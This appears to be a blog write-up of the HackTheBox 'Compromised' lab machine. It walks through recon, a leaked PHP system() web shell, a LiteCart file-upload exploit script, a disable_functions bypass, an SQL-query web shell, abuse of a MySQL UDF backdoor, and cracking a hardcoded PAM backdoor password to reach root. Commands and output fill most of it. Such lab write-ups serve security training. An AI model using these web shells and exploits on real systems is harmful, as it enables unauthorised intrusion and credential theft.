Header Image

Roman Hergenreder

IT-Security Practice Lead & Software Developer

[machine avatar]

HackTheBox Compromised - Writeup

OS:Linux
Release Date:2020/09/12 19:00
Points:40
Difficulty:Medium
Last modified: 2021-03-31 17:34:21 + Give Respect

Starting with a nmap scan, we see the usual two ports open, as on many other machines:

$ nmap -A -T4 -p- 10.10.10.207
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
| 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: FD8AFB6FFE392F9ED98CC0B1B37B9A5D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.129.11.34/shop/en/

The website shows a web shop selling rubber ducks, we quickly find a admin login page on /shop/admin, were credentials are required. Performing a gobuster scan, we find another directory called backup:

$ gobuster dir -u http://10.10.10.207/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -b 404, 403
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.207/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/14 14:39:47 Starting gobuster
===============================================================
/backup (Status: 301)
/shop (Status: 301)
/. (Status: 302)
(...)
===============================================================
2020/09/14 14:39:53 Finished

The backup directory holds a tar archive with a backup of the web shop. Unpacking it and analysing the files, we find two things:

$ wget http://10.10.10.207/backup/a.tar.gz && tar xvf a.tar.gz
$ cat shop/.sh.php
<?php system($_REQUEST['cmd']); ?>
$ fgrep -i -R password shop/
(...)
shop/includes/library/lib_user.inc.php: //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $username . " Passwd: " . $password);
(...)

The backup firstly contains a php backdoor, which we unfortunately can't find on the live website, and also seems to have a logfile with credentials. We can retrieve the credentials logged using curl:

$ curl http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt
User: admin Passwd: theNextGenSt0r3!~

We can use this password to login on the admin panel and we notice, the software being used is LiteCart v2.1.2. Doing some research, we find a file-upload vulnerability and a poc script. When trying to upload any kind of php reverse shell or command execution, we can prove, that the script is being uploaded (http status code: 200), but it's not executed as expected. We adapt our payload a bit and perform some diagnosis (I migrated the script to python3):

def upload_file(session, url, token, name, content):

    files = {
        'vqmod': (name, content, "application/xml"),
        'token': token,
        'upload': (None,"Upload")
    }

    res = session.post(url + "?app=vqmods&doc=vqmods", files=files)
    if res.status_code != 200:
        print("[-] Error uploading file")
        return False

    return url + ("" if url.endswith("/") else "/") + "../vqmod/xml/" + name
      
session = requests.Session()
token = login(session, url, user, password)
payload = "<?php echo file_get_contents('/etc/php/7.2/apache2/php.ini'); echo phpversion();"
file_url = upload_file(session, url, token, "debug.php", payload)
print(session.get(file_url).text)

In the leaked php config file we can see, that alot of functions are disabled using disable_functions. But the leaked php version 7.2.24-0ubuntu0.18.04.6 seems to be vulnerable to a bypass we found online. We adapt this script to execute commands passed in GET parameters and upload the file:

payload.php:
<?php
pwn($_REQUEST['c']);

function pwn($cmd) {
  (...)
}
exploit.py:
(...)
payload = open('payload.php','r').read()
file_url = upload_file(session, url, token, "shell.php", payload)
print(file_url + '?c=')

We now have a limited command shell, upgrading to a reverse shell unfortunately doesn't work, as reverse connections seem to be blocked by the firewall. We also don't have permissions to write a public ssh-key. But examining the /etc/passwd file, we can see, that the user mysql has a shell, which is very unusual:

$ curl http://10.10.10.207/shop/admin/../vqmod/xml/shell.php --data-urlencode 'c=grep mysql /etc/passwd'
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash

We can also find the mysql connection config in either the backup files or the live website (/shop/includes/config.inc.php). We need them for the next enumeration step: analyzing the mysql server. For this, we upload another php file, which will execute sql queries easily:

sql.php:
<?php
error_reporting(E_ALL);
$link = mysqli_connect("localhost", "root", "changethis", "mysql");
if (!$link) {
  die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
}

$res = mysqli_query($link, $_REQUEST["query"]);
if (!$res) {
  die("Error executing query: " . mysqli_error($link));
}

while ($row = $res->fetch_assoc()) {
  var_dump($row);
}

mysqli_close($link);

Now running some queries we can find some kind of backdoor:

$ curl http://10.10.10.207/shop/admin/../vqmod/xml/sql.php --data-urlencode 'query=select * from mysql.func'
array(4) {
["name"]=>
string(8) "exec_cmd"
["ret"]=>
string(1) "0"
["dl"]=>
string(11) "libmysql.so"
["type"]=>
string(8) "function"
}

It seems that we can execute functions as mysql user by issuing the SELECT exec_cmd(str) query. We are now able to write a public key, but note, that we have to upload the authorized_keys file with the previous RCE first, so that we can copy it via the mysql backdoor:

$ curl http://10.10.10.207/shop/admin/../vqmod/xml/sql.php --data-urlencode 'query=SELECT exec_cmd("mkdir .ssh; cp /var/www/html/shop/vqmod/xml/authorized_keys .ssh/authorized_keys")' --output -
$ ssh -i ~/.ssh/id_rsa_htb.pub mysql@10.10.10.207
Last login: Thu Sep 3 11:52:44 2020 from 10.10.14.2
mysql@compromised:~$ file strace-log.dat
strace-log.dat: ASCII text, with very long lines
mysql@compromised:~$ grep password strace-log.dat
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
(...)

The found password can be used to login to user sysadmin and we are able to read the user flag:

mysql@compromised:~$ su sysadmin
Password: 3*NLJE32I$Fe
sysadmin@compromised:~$ cat ~/user.txt
d294b8216034d9b7aedcbc4be7613cb8

For the root part, we first try to find some recently modified files using the find command. The needed file is well hidden, so I only focus on the file

$ find /lib -type f -exec stat --format '%Y :%y %n' "{}" \; 2>/dev/null | sort -nr | cut -d: -f2- | head
2020-08-31 03:25:57.607990349 +0000 /lib/x86_64-linux-gnu/security/pam_unix.so
2020-08-31 03:25:17.455991685 +0000 /lib/x86_64-linux-gnu/security/.pam_unix.so
(...)

We find an unusual duplicate file of pam_unix.so, which really seems to be exactly the same, when looking at the md5sums. We download the file using scp and inspect it with Ghidra. Doing some short analysis, we find something strange in the generated C-Code of pam_sm_authenticate:

(...)
char backdoor [15];
(...)
backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;
iVar2 = strcmp((char *)p,backdoor);
if (iVar2 != 0) {
  iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);
}

It seems, that we have found another backdoor, which allows access via a hardcoded password to any user. Decoding the hex-strings and reverse both of them, as the binary is little-endian, we get the following password, which we can use to login to root and grab the flag:

$ python3 -c 'import binascii; print(binascii.unhexlify("4533557e656b6c7a")[::-1] + binascii.unhexlify("2d326d3238766e")[::-1])'
b'zlke~U3Env82m2-'
sysadmin@compromised:~$ su
Password: zlke~U3Env82m2-
root@compromised:~$ cat /root/root.txt
940278558ecf8f3eddbaca19b4e80847

As the machine name already tells us, it showed a lot of possible backdoors, which includes:

  • php backdoor using system()
  • mysql backdoor using User-Defined Functions (UDF)
  • pam backdoor using a modified shared object file (.so)